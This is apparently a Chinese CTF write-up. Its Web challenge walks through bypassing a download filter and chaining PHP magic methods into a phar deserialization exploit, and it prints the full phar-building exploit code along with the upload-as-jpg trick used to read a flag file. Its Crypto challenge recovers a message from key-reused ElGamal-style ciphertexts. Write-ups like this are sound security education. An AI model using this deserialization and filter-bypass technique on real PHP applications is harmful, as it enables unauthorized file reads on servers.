Web
upload
通过download.php
下载源码,可以通过f/ile
绕过检测,`download.php·如下:
$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
echo("hacker!");
}
else{
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
echo ("hacker!");
}
else{
$name = safe_replace($name);
if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
$filename = $name.'.php';
$dir ="./";
$down_host = $_SERVER['HTTP_HOST'].'/';
if(file_exists(__DIR__.'/'.$dir.$filename)){
$file = fopen ( $dir.$filename, "rb" );
Header ( "Content-type: application/octet-stream" );
Header ( "Accept-Ranges: bytes" );
Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
Header ( "Content-Disposition: attachment; filename=" . $filename );
echo fread ( $file, filesize ( $dir . $filename ) );
fclose ( $file );
exit ();
}else{
echo ("file doesn't exist.");
}
}
if (preg_match('/flag/i', $name)){
echo ("hacker!");
}
}
}
}
观察到class.php
,如下:
<?php
class Show
{
public $source;
public $str;
public function __construct()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __toString()
{
$text= $this->source;
$text = base64_encode(file_get_contents($text));
return $text;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->params[$key];
}
public function __call($name, $arguments)
{
if($this->{$name})
$this->{$this->{$name}}($arguments);
}
public function file_get($value)
{
echo $this->file;
}
}
class Sh0w
{
public $test;
public $str;
public function __construct($name)
{
$this->str = new Show('index.php');
$this->str->source = $this->test;
}
public function __destruct()
{
$this->str->_show();
}
}
?>
可以发现一条反序列化的利用链,这里需要熟悉php的各个魔术方法
Sh0w对象反序列化会调用__destruct()方法,然后执行$this->str->_show();
修改Sh0w对象中的$this->str指向S6ow对象
S6ow对象缺失_show()方法,所以会去调用__call($name, $arguments),且__call的参数$name等于缺失的函数,$arguments为缺失函数的参数,在本题中即为"_show"和空
S6ow对象缺失$_show变量,所以会去调用__get($key),且__get的参数$key等于所缺失的变量,在本题中即为"_show",所以返回$params['_show']
修改S6ow对象的$params['_show']的值为"file_get",所以最后__call会去执行file_get函数
修改S6ow对象的$file值为Show对象
因为打印了一个对象,所以会去执行Show对象的__toString方法
修改Show对象的$source的值为目标文件,在本题中即为"/flag",就可以绕过检测去读取目标文件
然后发现file.php
中没有过滤phar
,所以我们根据phar
反序列化去读取文件。
exp如下:
<?php
class Show
{
public $source;
public $str;
public function __construct()
{
$this->source = 'flag';
}
}
class S6ow
{
public $file;
public $params;
public function __construct()
{
$this->file=new Show();
$this->params['_show']='file_get';
}
}
class Sh0w
{
public $test;
public $str;
public function __construct()
{
$this->str = new s6ow();
}
}
$exception = new Sh0w();
$phar = new Phar("vul.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->stopBuffering();
?>
然后修改后缀为jpg
上传,然后利用phar://
即可去读取flag
PS:对魔术方法还是不熟悉,因为打过bytectf
,所以一开始只知道__call
,然后就做不下去了。后来搜了一下才发现了这么多神奇的方法。wtcl~
LOL
马师傅的payload
没看懂,等看懂了再写
Crypto
CoCo
很简单,稍微改一下变量名称即可,这里推荐VScode
编辑器,支持右键全局更改变量名,修改后的代码如下:
from Crypto.Util.number import *
from Crypto.Random.random import *
from flag import flag
a = getStrongPrime(1024)
b = getStrongPrime(1024)
c = getStrongPrime(1024)
def gcd(Co, CoCo):
while CoCo: Co, CoCo = CoCo, Co % CoCo
return Co
def pow(n, CoCo, CoCoCo):
tmp = 1
while CoCo != 0:
if (CoCo & 1) == 1:
tmp = (tmp * n) % CoCoCo
CoCo >>= 1
n = (n * n) % CoCoCo
return tmp
d = pow(c, a, b)
while True:
f = randint(1, 2 ** 512)
if gcd(f, b - 1) == 1:
break
g = pow(c, f, b)
m1 = bytes_to_long("CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
c1 = (m1 * pow(d, f, b)) % b
m2 = bytes_to_long(flag)
c2 = (m2 * pow(d, f, b)) % b
with open('cipher.txt', 'w') as f:
f.write("g = " + str(g) + "\n")
f.write("c = " + str(c) + "\n")
f.write("c1 = " + str(c1) + "\n")
f.write("b = " + str(b) + "\n")
f.write("c2 = " + str(c2) + "\n")
显然payload
如下:
from Crypto.Util.number import *
import gmpy2
c1 = 120085813769601903784459580746767828105716607333492124010803514777437504109
3314480098908749398589846666411398193799697140702207630931885519668306306393081
4229971997625822745064214196342518742963688059348095149840638006874740411588940
0485463839002674872020074254287490910994729347868122864760194135575038263365
b = 133694097868622092961596455982173439482901807533684907590429464542321832157
7240526845174998710738268587622977294804143061611134127418650991631525054473348
6309743493294072926960598641844353220894211950504363499027171719869419012347854
7503837269948205839761848366722796091382894026537012764323367229104988051357
c2 = 539133200104746143537713486952625539353610785177429427453591821528822047807
6920600547481863701020956142048028052302950937528653888606162159624917940772869
7515399046471231513536340506648832858695583318765423245104561512700887050932667
507358898646356134386213016528778706360147066411877832628237361011621917972
m1 = bytes_to_long(b"CoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCoCo")
tmp = c1*gmpy2.invert(m1,b)%b
flag = c2*gmpy2.invert(tmp,b)%b
print long_to_bytes(flag)
cry2
还没人做出来,等出了wp再补充
网友评论